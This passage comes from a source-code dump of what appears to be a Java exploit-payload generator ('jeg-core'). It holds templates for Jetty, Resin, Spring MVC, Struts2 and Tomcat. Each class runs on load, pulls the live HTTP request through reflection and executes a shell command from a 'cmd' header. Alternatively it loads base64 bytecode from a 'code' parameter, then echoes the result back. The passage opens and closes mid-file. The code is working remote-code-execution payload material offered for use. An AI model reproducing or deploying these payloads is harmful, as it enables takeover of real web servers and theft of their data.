(httpConnection.getClass().getName().equals(\"org.eclipse.jetty.server.HttpConnection\") || httpConnection.getClass().getName().contains(\"HttpConnection\"))) {\n break;\n }\n }\n }\n if (httpConnection == null) {\n throw new RuntimeException(\"HttpConnection not found\");\n }\n Object response;\n Object request;\n try {\n Object httpChannel = httpConnection.getClass().getMethod(\"getHttpChannel\").invoke(httpConnection);\n response = httpChannel.getClass().getMethod(\"getResponse\").invoke(httpChannel);\n request = httpChannel.getClass().getMethod(\"getRequest\").invoke(httpChannel);\n } catch (Exception e) {\n // 兼容 Jetty(7.6.16.v20140903)\n response = httpConnection.getClass().getMethod(\"getResponse\").invoke(httpConnection);\n request = httpConnection.getClass().getMethod(\"getRequest\").invoke(httpConnection);\n }\n String cmd = (String) request.getClass().getMethod(\"getHeader\", new Class[]{String.class}).invoke(request, new Object[]{getReqHeaderName()});\n if (cmd != null) {\n PrintWriter writer = (PrintWriter) response.getClass().getMethod(\"getWriter\").invoke(response);\n writer.write(exec(cmd));\n writer.flush();\n writer.close();\n }\n\n } catch (Exception e) {\n e.printStackTrace();\n }\n }\n\n private String exec(String cmd) {\n try {\n boolean isLinux = true;\n String osType = System.getProperty(\"os.name\");\n if (osType != null && osType.toLowerCase().contains(\"win\")) {\n isLinux = false;\n }\n\n String[] cmds = isLinux ? new String[]{\"/bin/sh\", \"-c\", cmd} : new String[]{\"cmd.exe\", \"/c\", cmd};\n InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();\n Scanner s = new Scanner(in).useDelimiter(\"\\\\a\");\n String execRes = \"\";\n while (s.hasNext()) {\n execRes += s.next();\n }\n return execRes;\n } catch (Exception e) {\n return e.getMessage();\n }\n }\n}\n" }, { "path": "jeg-core/src/main/java/jeg/core/template/jetty/JettyCodeExecTpl.java", "content": "package jeg.core.template.jetty;\n\nimport java.io.PrintWriter;\nimport java.lang.reflect.Array;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.Method;\n\npublic class JettyCodeExecTpl {\n static {\n try {\n new JettyCodeExecTpl();\n } catch (Exception e) {\n }\n }\n\n\n private String getReqParamName() {\n return \"code\";\n }\n\n public JettyCodeExecTpl() {\n run();\n }\n\n public void run() {\n try {\n Thread thread = Thread.currentThread();\n Field field = Class.forName(\"java.lang.Thread\").getDeclaredField(\"threadLocals\");\n field.setAccessible(true);\n Object threadLocals = field.get(thread);\n Class threadLocalMap = Class.forName(\"java.lang.ThreadLocal$ThreadLocalMap\");\n Field tableField = threadLocalMap.getDeclaredField(\"table\");\n tableField.setAccessible(true);\n Object table = tableField.get(threadLocals);\n\n Class entry = Class.forName(\"java.lang.ThreadLocal$ThreadLocalMap$Entry\");\n Field valueField = entry.getDeclaredField(\"value\");\n valueField.setAccessible(true);\n Object httpConnection = null;\n\n Object obj;\n for (int i = 0; i < Array.getLength(table); ++i) {\n obj = Array.get(table, i);\n if (obj != null) {\n httpConnection = valueField.get(obj);\n if (httpConnection != null && (httpConnection.getClass().getName().equals(\"org.eclipse.jetty.server.HttpConnection\") || httpConnection.getClass().getName().contains(\"HttpConnection\"))) {\n break;\n }\n }\n }\n Object response;\n Object request;\n try {\n Object httpChannel = httpConnection.getClass().getMethod(\"getHttpChannel\").invoke(httpConnection);\n response = httpChannel.getClass().getMethod(\"getResponse\").invoke(httpChannel);\n request = httpChannel.getClass().getMethod(\"getRequest\").invoke(httpChannel);\n } catch (Exception e) {\n response = httpConnection.getClass().getMethod(\"getResponse\").invoke(httpConnection);\n request = httpConnection.getClass().getMethod(\"getRequest\").invoke(httpConnection);\n }\n\n String code = (String) request.getClass().getDeclaredMethod(\"getParameter\", String.class).invoke(request, getReqParamName());\n if (code != null && code != \"\") {\n PrintWriter writer = (PrintWriter) response.getClass().getMethod(\"getWriter\").invoke(response);\n writer.write(exec(code));\n writer.flush();\n writer.close();\n }\n\n\n } catch (Exception e) {\n e.printStackTrace();\n }\n }\n\n\n private String exec(String var2) {\n try {\n byte[] clazzByte = base64Decode(var2);\n Method defineClass = ClassLoader.class.getDeclaredMethod(\"defineClass\", byte[].class, int.class, int.class);\n defineClass.setAccessible(true);\n Class clazz = (Class) defineClass.invoke(new javax.management.loading.MLet(new java.net.URL[0],java.lang.Thread.currentThread().getContextClassLoader()), clazzByte, 0, clazzByte.length);\n return clazz.newInstance().toString();\n } catch (Exception e) {\n return e.getMessage();\n }\n }\n\n private byte[] base64Decode(String str) throws Exception {\n try {\n Class clazz = Class.forName(\"sun.misc.BASE64Decoder\");\n return (byte[]) clazz.getMethod(\"decodeBuffer\", String.class).invoke(clazz.newInstance(), str);\n } catch (Exception var4) {\n Class clazz = Class.forName(\"java.util.Base64\");\n Object decoder = clazz.getMethod(\"getDecoder\").invoke((Object) null);\n return (byte[]) decoder.getClass().getMethod(\"decode\", String.class).invoke(decoder, str);\n }\n }\n}\n" }, { "path": "jeg-core/src/main/java/jeg/core/template/resin/ResinCmdExecTpl.java", "content": "package jeg.core.template.resin;\n\nimport java.io.InputStream;\nimport java.io.Writer;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.Method;\nimport java.util.Scanner;\n\npublic class ResinCmdExecTpl {\n static {\n try {\n new ResinCmdExecTpl();\n } catch (Exception e) {\n }\n }\n\n private String getReqHeaderName() {\n return \"cmd\";\n }\n\n public ResinCmdExecTpl() {\n run();\n }\n\n private void run() {\n try {\n Object currentRequest = Thread.currentThread().getContextClassLoader().loadClass(\"com.caucho.server.dispatch.ServletInvocation\").getMethod(\"getContextRequest\").invoke(null);\n Field _responseF;\n if (currentRequest.getClass().getName().contains(\"com.caucho.server.http.HttpRequest\")) {\n // 3.x 需要从父类中获取\n _responseF = currentRequest.getClass().getSuperclass().getDeclaredField(\"_response\");\n } else {\n _responseF = currentRequest.getClass().getDeclaredField(\"_response\");\n }\n _responseF.setAccessible(true);\n Object response = _responseF.get(currentRequest);\n Method getWriterM = response.getClass().getMethod(\"getWriter\");\n Writer writer = (Writer) getWriterM.invoke(response);\n Method getHeaderM = currentRequest.getClass().getMethod(\"getHeader\", String.class);\n String cmd = (String) getHeaderM.invoke(currentRequest, getReqHeaderName());\n writer.write(exec(cmd));\n } catch (Exception e) {\n\n }\n }\n\n private String exec(String cmd) {\n try {\n boolean isLinux = true;\n String osType = System.getProperty(\"os.name\");\n if (osType != null && osType.toLowerCase().contains(\"win\")) {\n isLinux = false;\n }\n\n String[] cmds = isLinux ? new String[]{\"/bin/sh\", \"-c\", cmd} : new String[]{\"cmd.exe\", \"/c\", cmd};\n InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();\n Scanner s = new Scanner(in).useDelimiter(\"\\\\a\");\n String execRes = \"\";\n while (s.hasNext()) {\n execRes += s.next();\n }\n return execRes;\n } catch (Exception e) {\n return e.getMessage();\n }\n }\n}\n" }, { "path": "jeg-core/src/main/java/jeg/core/template/resin/ResinCodeExecTpl.java", "content": "package jeg.core.template.resin;\n\nimport java.io.Writer;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.Method;\n\npublic class ResinCodeExecTpl {\n static {\n try {\n new ResinCodeExecTpl();\n } catch (Exception e) {\n }\n }\n\n private String getReqParamName() {\n return \"code\";\n }\n\n ResinCodeExecTpl(){\n run();\n }\n\n private void run() {\n try {\n Object currentRequest = Thread.currentThread().getContextClassLoader().loadClass(\"com.caucho.server.dispatch.ServletInvocation\").getMethod(\"getContextRequest\").invoke(null);\n Field _responseF;\n if(currentRequest.getClass().getName().contains(\"com.caucho.server.http.HttpRequest\")){\n // 3.x 需要从父类中获取\n _responseF = currentRequest.getClass().getSuperclass().getDeclaredField(\"_response\");\n }else{\n _responseF = currentRequest.getClass().getDeclaredField(\"_response\");\n }\n _responseF.setAccessible(true);\n\n Method getParameterM = currentRequest.getClass().getMethod(\"getParameter\", String.class);\n String code = (String)getParameterM.invoke(currentRequest, getReqParamName());\n if(code != null & code != \"\"){\n Object response = _responseF.get(currentRequest);\n // 写入 body\n Method getWriterM = response.getClass().getMethod(\"getWriter\");\n Writer writer = (Writer)getWriterM.invoke(response);\n writer.write(exec(code));\n\n }\n// // 写入 header\n// Method addHeaderM = response.getClass().getMethod(\"addHeader\",String.class, String.class);\n// addHeaderM.invoke(response,getRespHeaderName(),defineClazz(code));\n\n }catch (Exception e){\n\n }\n }\n\n\n private String exec(String var2) {\n try {\n byte[] clazzByte = base64Decode(var2);\n Method defineClass = ClassLoader.class.getDeclaredMethod(\"defineClass\", byte[].class, int.class, int.class);\n defineClass.setAccessible(true);\n Class clazz = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), clazzByte, 0, clazzByte.length);\n return clazz.newInstance().toString();\n } catch (Exception e) {\n return e.getMessage();\n }\n }\n\n private byte[] base64Decode(String str) throws Exception {\n try {\n Class clazz = Class.forName(\"sun.misc.BASE64Decoder\");\n return (byte[]) clazz.getMethod(\"decodeBuffer\", String.class).invoke(clazz.newInstance(), str);\n } catch (Exception var4) {\n Class clazz = Class.forName(\"java.util.Base64\");\n Object decoder = clazz.getMethod(\"getDecoder\").invoke((Object) null);\n return (byte[]) decoder.getClass().getMethod(\"decode\", String.class).invoke(decoder, str);\n }\n }\n}\n" }, { "path": "jeg-core/src/main/java/jeg/core/template/springmvc/SpringMVCCmdExecTpl.java", "content": "package jeg.core.template.springmvc;\n\nimport java.io.InputStream;\nimport java.io.Writer;\nimport java.lang.reflect.InvocationTargetException;\nimport java.lang.reflect.Method;\nimport java.util.Scanner;\n\npublic class SpringMVCCmdExecTpl {\n\n static {\n try {\n new SpringMVCCmdExecTpl();\n } catch (Exception e) {\n }\n }\n private String getReqHeaderName() {\n return \"cmd\";\n }\n\n public SpringMVCCmdExecTpl() throws Exception {\n run();\n }\n\n public void run() {\n ClassLoader classLoader = Thread.currentThread().getContextClassLoader();\n try {\n Object requestAttributes = invokeMethod(classLoader.loadClass(\"org.springframework.web.context.request.RequestContextHolder\"), \"getRequestAttributes\");\n Object request = invokeMethod(requestAttributes, \"getRequest\");\n Object response = invokeMethod(requestAttributes, \"getResponse\");\n Method getHeaderM = request.getClass().getMethod(\"getHeader\", String.class);\n String cmd = (String) getHeaderM.invoke(request, getReqHeaderName());\n if (cmd != null && !cmd.isEmpty()) {\n Writer writer = (Writer) invokeMethod(response, \"getWriter\");\n writer.write(exec(cmd));\n writer.flush();\n writer.close();\n }\n } catch (Exception e) {\n }\n }\n\n\n private String exec(String cmd) {\n try {\n boolean isLinux = true;\n String osType = System.getProperty(\"os.name\");\n if (osType != null && osType.toLowerCase().contains(\"win\")) {\n isLinux = false;\n }\n\n String[] cmds = isLinux ? new String[]{\"/bin/sh\", \"-c\", cmd} : new String[]{\"cmd.exe\", \"/c\", cmd};\n InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();\n Scanner s = new Scanner(in).useDelimiter(\"\\\\a\");\n String execRes = \"\";\n while (s.hasNext()) {\n execRes += s.next();\n }\n return execRes;\n } catch (Exception e) {\n return e.getMessage();\n }\n }\n\n private Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {\n return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);\n }\n\n private Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {\n Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();\n Method method = null;\n\n Class tempClass = clazz;\n while (method == null && tempClass != null) {\n try {\n if (paramClazz == null) {\n // Get all declared methods of the class\n Method[] methods = tempClass.getDeclaredMethods();\n for (int i = 0; i < methods.length; i++) {\n if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {\n method = methods[i];\n break;\n }\n }\n } else {\n method = tempClass.getDeclaredMethod(methodName, paramClazz);\n }\n } catch (NoSuchMethodException e) {\n tempClass = tempClass.getSuperclass();\n }\n }\n if (method == null) {\n throw new NoSuchMethodException(methodName);\n }\n method.setAccessible(true);\n if (obj instanceof Class) {\n try {\n return method.invoke(null, param);\n } catch (IllegalAccessException e) {\n throw new RuntimeException(e.getMessage());\n }\n } else {\n try {\n return method.invoke(obj, param);\n } catch (IllegalAccessException e) {\n throw new RuntimeException(e.getMessage());\n }\n }\n }\n}\n\n" }, { "path": "jeg-core/src/main/java/jeg/core/template/springmvc/SpringMVCCodeExecTpl.java", "content": "package jeg.core.template.springmvc;\n\nimport java.io.Writer;\nimport java.lang.reflect.InvocationTargetException;\nimport java.lang.reflect.Method;\n\npublic class SpringMVCCodeExecTpl {\n\n static {\n try {\n new SpringMVCCodeExecTpl();\n } catch (Exception e) {\n }\n }\n\n private String getReqParamName() {\n return \"code\";\n }\n\n\n public SpringMVCCodeExecTpl() throws Exception {\n run();\n }\n\n private void run() {\n ClassLoader classLoader = Thread.currentThread().getContextClassLoader();\n try {\n Object requestAttributes = invokeMethod(classLoader.loadClass(\"org.springframework.web.context.request.RequestContextHolder\"), \"getRequestAttributes\");\n Object request = invokeMethod(requestAttributes, \"getRequest\");\n Object response = invokeMethod(requestAttributes, \"getResponse\");\n String code = (String)invokeMethod(request, \"getParameter\",new Class[]{String.class},new Object[]{getReqParamName()});\n if (code != null && !code.isEmpty()) {\n Writer writer = (Writer) invokeMethod(response,\"getWriter\");\n writer.write(exec(code));\n writer.flush();\n writer.close();\n }\n } catch (Exception e) {\n }\n }\n\n\n private String exec(String var2) {\n try {\n byte[] clazzByte = base64Decode(var2);\n Method defineClass = ClassLoader.class.getDeclaredMethod(\"defineClass\", byte[].class, int.class, int.class);\n defineClass.setAccessible(true);\n Class clazz = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), clazzByte, 0, clazzByte.length);\n return clazz.newInstance().toString();\n } catch (Exception e) {\n return e.getMessage();\n }\n }\n\n private byte[] base64Decode(String str) throws Exception {\n try {\n Class clazz = Class.forName(\"sun.misc.BASE64Decoder\");\n return (byte[]) clazz.getMethod(\"decodeBuffer\", String.class).invoke(clazz.newInstance(), str);\n } catch (Exception var4) {\n Class clazz = Class.forName(\"java.util.Base64\");\n Object decoder = clazz.getMethod(\"getDecoder\").invoke((Object) null);\n return (byte[]) decoder.getClass().getMethod(\"decode\", String.class).invoke(decoder, str);\n }\n }\n\n private Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {\n return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);\n }\n\n private Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {\n Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();\n Method method = null;\n\n Class tempClass = clazz;\n while (method == null && tempClass != null) {\n try {\n if (paramClazz == null) {\n // Get all declared methods of the class\n Method[] methods = tempClass.getDeclaredMethods();\n for (int i = 0; i < methods.length; i++) {\n if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {\n method = methods[i];\n break;\n }\n }\n } else {\n method = tempClass.getDeclaredMethod(methodName, paramClazz);\n }\n } catch (NoSuchMethodException e) {\n tempClass = tempClass.getSuperclass();\n }\n }\n if (method == null) {\n throw new NoSuchMethodException(methodName);\n }\n method.setAccessible(true);\n if (obj instanceof Class) {\n try {\n return method.invoke(null, param);\n } catch (IllegalAccessException e) {\n throw new RuntimeException(e.getMessage());\n }\n } else {\n try {\n return method.invoke(obj, param);\n } catch (IllegalAccessException e) {\n throw new RuntimeException(e.getMessage());\n }\n }\n }\n}\n\n" }, { "path": "jeg-core/src/main/java/jeg/core/template/struts2/Struts2CmdExecTpl.java", "content": "package jeg.core.template.struts2;\n\nimport java.io.InputStream;\nimport java.io.Writer;\nimport java.lang.reflect.InvocationTargetException;\nimport java.lang.reflect.Method;\nimport java.util.Scanner;\n\npublic class Struts2CmdExecTpl {\n\n static {\n try {\n new Struts2CmdExecTpl();\n } catch (Exception e) {\n }\n }\n private String getReqHeaderName() {\n return \"cmd\";\n }\n\n\n public Struts2CmdExecTpl() throws Exception {\n run();\n }\n\n public void run(){\n try {\n ClassLoader loader = Thread.currentThread().getContextClassLoader();\n Class actionContextClass = Class.forName(\"com.opensymphony.xwork2.ActionContext\", false, loader);\n java.lang.reflect.Field filed = actionContextClass.getDeclaredField(\"actionContext\");\n filed.setAccessible(true);\n ThreadLocal actionContext = (ThreadLocal) filed.get(null);\n Object con = actionContext.get();\n Object context = invokeMethod(con,\"getContext\");\n Object request = invokeMethod(context,\"get\", new Class[]{String.class},new Object[]{\"com.opensymphony.xwork2.dispatcher.HttpServletRequest\"});\n Object response = invokeMethod(context,\"get\", new Class[]{String.class},new Object[]{\"com.opensymphony.xwork2.dispatcher.HttpServletResponse\"});\n String cmd = (String) invokeMethod(request,\"getHeader\",new Class[]{String.class},new Object[]{getReqHeaderName()});\n if (cmd != null && !cmd.isEmpty()) {\n Writer writer = (Writer) invokeMethod(response, \"getWriter\");\n writer.write(exec(cmd));\n writer.flush();\n writer.close();\n }\n }catch (Exception ignored){\n }\n }\n\n\n public String exec(String cmd){\n try {\n boolean isLinux = true;\n String osType = System.getProperty(\"os.name\");\n if (osType != null && osType.toLowerCase().contains(\"win\")) {\n isLinux = false;\n }\n\n String[] cmds = isLinux ? new String[]{\"/bin/sh\", \"-c\", cmd} : new String[]{\"cmd.exe\", \"/c\", cmd};\n InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();\n Scanner s = new Scanner(in).useDelimiter(\"\\\\a\");\n String execRes = \"\";\n while (s.hasNext()) {\n execRes += s.next();\n }\n return execRes;\n }catch (Exception e){\n return e.getMessage();\n }\n }\n\n private Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {\n return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);\n }\n\n private Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {\n Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();\n Method method = null;\n\n Class tempClass = clazz;\n while (method == null && tempClass != null) {\n try {\n if (paramClazz == null) {\n // Get all declared methods of the class\n Method[] methods = tempClass.getDeclaredMethods();\n for (int i = 0; i < methods.length; i++) {\n if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {\n method = methods[i];\n break;\n }\n }\n } else {\n method = tempClass.getDeclaredMethod(methodName, paramClazz);\n }\n } catch (NoSuchMethodException e) {\n tempClass = tempClass.getSuperclass();\n }\n }\n if (method == null) {\n throw new NoSuchMethodException(methodName);\n }\n method.setAccessible(true);\n if (obj instanceof Class) {\n try {\n return method.invoke(null, param);\n } catch (IllegalAccessException e) {\n throw new RuntimeException(e.getMessage());\n }\n } else {\n try {\n return method.invoke(obj, param);\n } catch (IllegalAccessException e) {\n throw new RuntimeException(e.getMessage());\n }\n }\n }\n}\n" }, { "path": "jeg-core/src/main/java/jeg/core/template/struts2/Struts2CodeExecTpl.java", "content": "package jeg.core.template.struts2;\n\nimport java.io.Writer;\nimport java.lang.reflect.InvocationTargetException;\nimport java.lang.reflect.Method;\n\npublic class Struts2CodeExecTpl {\n\n static {\n try {\n new Struts2CodeExecTpl();\n } catch (Exception e) {\n }\n }\n\n private String getReqParamName() {\n return \"code\";\n }\n\n\n public Struts2CodeExecTpl() throws Exception{\n run();\n }\n\n\n public void run() {\n try {\n ClassLoader loader = Thread.currentThread().getContextClassLoader();\n Class actionContextClass = Class.forName(\"com.opensymphony.xwork2.ActionContext\", false, loader);\n java.lang.reflect.Field filed = actionContextClass.getDeclaredField(\"actionContext\");\n filed.setAccessible(true);\n ThreadLocal actionContext = (ThreadLocal) filed.get(null);\n Object con = actionContext.get();\n Object context = invokeMethod(con, \"getContext\");\n Object request = invokeMethod(context, \"get\", new Class[]{String.class}, new Object[]{\"com.opensymphony.xwork2.dispatcher.HttpServletRequest\"});\n Object response = invokeMethod(context, \"get\", new Class[]{String.class}, new Object[]{\"com.opensymphony.xwork2.dispatcher.HttpServletResponse\"});\n String code = (String) invokeMethod(request, \"getParameter\", new Class[]{String.class}, new Object[]{getReqParamName()});\n if (code != null && !code.isEmpty()) {\n Writer writer = (Writer) invokeMethod(response, \"getWriter\");\n writer.write(exec(code));\n writer.flush();\n writer.close();\n }\n } catch (Exception ignored) {\n\n }\n\n\n }\n\n\n private String exec(String var2) {\n try {\n byte[] clazzByte = base64Decode(var2);\n Method defineClass = ClassLoader.class.getDeclaredMethod(\"defineClass\", byte[].class, int.class, int.class);\n defineClass.setAccessible(true);\n Class clazz = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), clazzByte, 0, clazzByte.length);\n return clazz.newInstance().toString();\n } catch (Exception e) {\n return e.getMessage();\n }\n }\n\n private byte[] base64Decode(String str) throws Exception {\n try {\n Class clazz = Class.forName(\"sun.misc.BASE64Decoder\");\n return (byte[]) clazz.getMethod(\"decodeBuffer\", String.class).invoke(clazz.newInstance(), str);\n } catch (Exception var4) {\n Class clazz = Class.forName(\"java.util.Base64\");\n Object decoder = clazz.getMethod(\"getDecoder\").invoke((Object) null);\n return (byte[]) decoder.getClass().getMethod(\"decode\", String.class).invoke(decoder, str);\n }\n }\n\n private Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {\n return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);\n }\n\n private synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {\n Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();\n Method method = null;\n\n Class tempClass = clazz;\n while (method == null && tempClass != null) {\n try {\n if (paramClazz == null) {\n // Get all declared methods of the class\n Method[] methods = tempClass.getDeclaredMethods();\n for (int i = 0; i < methods.length; i++) {\n if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {\n method = methods[i];\n break;\n }\n }\n } else {\n method = tempClass.getDeclaredMethod(methodName, paramClazz);\n }\n } catch (NoSuchMethodException e) {\n tempClass = tempClass.getSuperclass();\n }\n }\n if (method == null) {\n throw new NoSuchMethodException(methodName);\n }\n method.setAccessible(true);\n if (obj instanceof Class) {\n try {\n return method.invoke(null, param);\n } catch (IllegalAccessException e) {\n throw new RuntimeException(e.getMessage());\n }\n } else {\n try {\n return method.invoke(obj, param);\n } catch (IllegalAccessException e) {\n throw new RuntimeException(e.getMessage());\n }\n }\n }\n}\n" }, { "path": "jeg-core/src/main/java/jeg/core/template/tomcat/TomcatCmdExecTpl.java", "content": "package jeg.core.template.tomcat;\n\nimport java.io.InputStream;\nimport java.io.Writer;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.Method;\nimport java.util.ArrayList;\nimport java.util.Scanner;\n\npublic class TomcatCmdExecTpl {\n\n static {\n try {\n new TomcatCmdExecTpl();\n } catch (Exception e) {\n }\n }\n public TomcatCmdExecTpl() throws Exception{\n run();\n }\n\n // 传参：需要执行的命令\n private String getReqHeaderName() {\n return \"cmd\";\n }\n\n\n private void run() {\n try {\n Method var0 = Thread.class.getDeclaredMethod(\"getThreads\", (Class[]) (new Class[0]));\n var0.setAccessible(true);\n Thread[] var1 = (Thread[]) ((Thread[]) var0.invoke((Object) null));\n for (int var2 = 0; var2 < var1.length; ++var2) {\n if (var1[var2].getName().contains(\"http\") && var1[var2].getName().contains(\"Acceptor\")) {\n Field var3 = var1[var2].getClass().getDeclaredField(\"target\");\n var3.setAccessible(true);\n Object var4 = var3.get(var1[var2]);\n\n try {\n var3 = var4.getClass().getDeclaredField(\"endpoint\");\n } catch (NoSuchFieldException var15) {\n var3 = var4.getClass().getDeclaredField(\"this$0\");\n }\n\n var3.setAccessible(true);\n var4 = var3.get(var4);\n\n try {\n var3 = var4.getClass().getDeclaredField(\"handler\");\n } catch (NoSuchFieldException var14) {\n try {\n var3 = var4.getClass().getSuperclass().getDeclaredField(\"handler\");\n } catch (NoSuchFieldException var13) {\n var3 = var4.getClass().getSuperclass().getSuperclass().getDeclaredField(\"handler\");\n }\n }\n\n var3.setAccessible(true);\n var4 = var3.get(var4);\n\n try {\n var3 = var4.getClass().getDeclaredField(\"global\");\n } catch (NoSuchFieldException var12) {\n var3 = var4.getClass().getSuperclass().getDeclaredField(\"global\");\n }\n\n var3.setAccessible(true);\n var4 = var3.get(var4);\n var4.getClass().getClassLoader().loadClass(\"org.apache.coyote.RequestGroupInfo\");\n if (var4.getClass().getName().contains(\"org.apache.coyote.RequestGroupInfo\")) {\n var3 = var4.getClass().getDeclaredField(\"processors\");\n var3.setAccessible(true);\n ArrayList var5 = (ArrayList) var3.get(var4);\n\n for (int var6 = 0; var6 < var5.size(); ++var6) {\n var3 = var5.get(var6).getClass().getDeclaredField(\"req\");\n var3.setAccessible(true);\n var4 = var3.get(var5.get(var6)).getClass().getDeclaredMethod(\"getNote\", Integer.TYPE).invoke(var3.get(var5.get(var6)), 1);\n String var7;\n try {\n var7 = (String) var3.get(var5.get(var6)).getClass().getMethod(\"getHeader\", new Class[]{String.class}).invoke(var3.get(var5.get(var6)), new Object[]{getReqHeaderName()});\n if (var7 != null) {\n Object response = var4.getClass().getDeclaredMethod(\"getResponse\", new Class[0]).invoke(var4, new Object[0]);\n Writer writer = (Writer) response.getClass().getMethod(\"getWriter\", new Class[0]).invoke(response, new Object[0]);\n writer.write(exec(var7));\n writer.flush();\n writer.close();\n break;\n }\n } catch (Exception ignored) {\n }\n\n }\n }\n }\n }\n } catch (Throwable ignored) {\n }\n\n }\n\n // 执行模块\n private String exec(String cmd) {\n try {\n boolean isLinux = true;\n String osType = System.getProperty(\"os.name\");\n if (osType != null && osType.toLowerCase().contains(\"win\")) {\n isLinux = false;\n }\n\n String[] cmds = isLinux ? new String[]{\"/bin/sh\", \"-c\", cmd} : new String[]{\"cmd.exe\", \"/c\", cmd};\n InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();\n Scanner s = new Scanner(in).useDelimiter(\"\\\\a\");\n String execRes = \"\";\n while (s.hasNext()) {\n execRes += s.next();\n }\n return execRes;\n } catch (Exception e) {\n return e.getMessage();\n }\n }\n}\n" }, { "path": "jeg-core/src/main/java/jeg/core/template/tomcat/TomcatCodeExecTpl.java", "content": "package jeg.core.template.tomcat;\n\nimport java.io.Writer;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.Method;\nimport java.util.ArrayList;\n\n\npublic class TomcatCodeExecTpl {\n\n static {\n new TomcatCodeExecTpl();\n }\n\n public TomcatCodeExecTpl(){\n run();\n }\n\n private String getReqParamName() {\n return \"code\";\n }\n\n private void run() {\n try {\n Method var0 = Thread.class.getDeclaredMethod(\"getThreads\", (Class[]) (new Class[0]));\n var0.setAccessible(true);\n Thread[] var1 = (Thread[]) ((Thread[]) var0.invoke((Object) null));\n for (int var2 = 0; var2 < var1.length; ++var2) {\n if (var1[var2].getName().contains(\"http\") && var1[var2].getName().contains(\"Acceptor\")) {\n Field var3 = var1[var2].getClass().getDeclaredField(\"target\");\n var3.setAccessible(true);\n Object var4 = var3.get(var1[var2]);\n\n try {\n var3 = var4.getClass().getDeclaredField(\"endpoint\");\n } catch (NoSuchFieldException var15) {\n var3 = var4.getClass().getDeclaredField(\"this$0\");\n }\n\n var3.setAccessible(true);\n var4 = var3.get(var4);\n\n try {\n var3 = var4.getClass().getDeclaredField(\"handler\");\n } catch (NoSuchFieldException var14) {\n try {\n var3 = var4.getClass().getSuperclass().getDeclaredField(\"handler\");\n } catch (NoSuchFieldException var13) {\n var3 = var4.getClass().getSuperclass().getSuperclass().getDeclaredField(\"handler\");\n }\n }\n var3.setAccessible(true);\n var4 = var3.get(var4);\n try {\n var3 = var4.getClass().getDeclaredField(\"global\");\n } catch (NoSuchFieldException var12) {\n var3 = var4.getClass().getSuperclass().getDeclaredField(\"global\");\n }\n var3.setAccessible(true);\n var4 = var3.get(var4);\n var4.getClass().getClassLoader().loadClass(\"org.apache.coyote.RequestGroupInfo\");\n if (var4.getClass().getName().contains(\"org.apache.coyote.RequestGroupInfo\")) {\n var3 = var4.getClass().getDeclaredField(\"processors\");\n var3.setAccessible(true);\n ArrayList var5 = (ArrayList) var3.get(var4);\n for (int var6 = 0; var6 < var5.size(); ++var6) {\n var3 = var5.get(var6).getClass().getDeclaredField(\"req\");\n var3.setAccessible(true);\n var4 = var3.get(var5.get(var6)).getClass().getDeclaredMethod(\"getNote\", Integer.TYPE).invoke(var3.get(var5.get(var6)), 1);\n String var8;\n try {\n // 从 request body 获取参数\n var8 = (String) var4.getClass().getDeclaredMethod(\"getParameter\", String.class).invoke(var4, getReqParamName());\n if (var8 != null) {\n String var10 = exec(var8);\n Object response = var4.getClass().getDeclaredMethod(\"getResponse\", new Class[0]).invoke(var4);\n Writer writer = (Writer) response.getClass().getMethod(\"getWriter\", new Class[0]).invoke(response, new Object[0]);\n writer.write(var10);\n writer.flush();\n writer.close();\n break;\n }\n } catch (Exception ignored) {\n }\n }\n }\n }\n }\n } catch (Throwable var16) {\n }\n\n }\n\n private String exec(String var2) {\n try {\n byte[] clazzByte = base64Decode(var2);\n Method defineClass = ClassLoader.class.getDeclaredMethod(\"defineClass\", byte[].class, int.class, int.class);\n defineClass.setAccessible(true);\n Class clazz = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), clazzByte, 0, clazzByte.length);\n return clazz.newInstance().toString();\n } catch (Exception e) {\n return e.getMessage();\n }\n }\n\n private byte[] base64Decode(String str) throws Exception {\n try {\n Class clazz = Class.forName(\"sun.misc.BASE64Decoder\");\n return (byte[]) clazz.getMethod(\"decodeBuffer\", String.class).invoke(clazz.newInstance(), str);\n } catch (Exception var4) {\n Class clazz = Class.forName(\"java.util.Base64\");\n Object decoder = clazz.getMethod(\"getDecoder\").invoke((Object) null);\n return (byte[]) 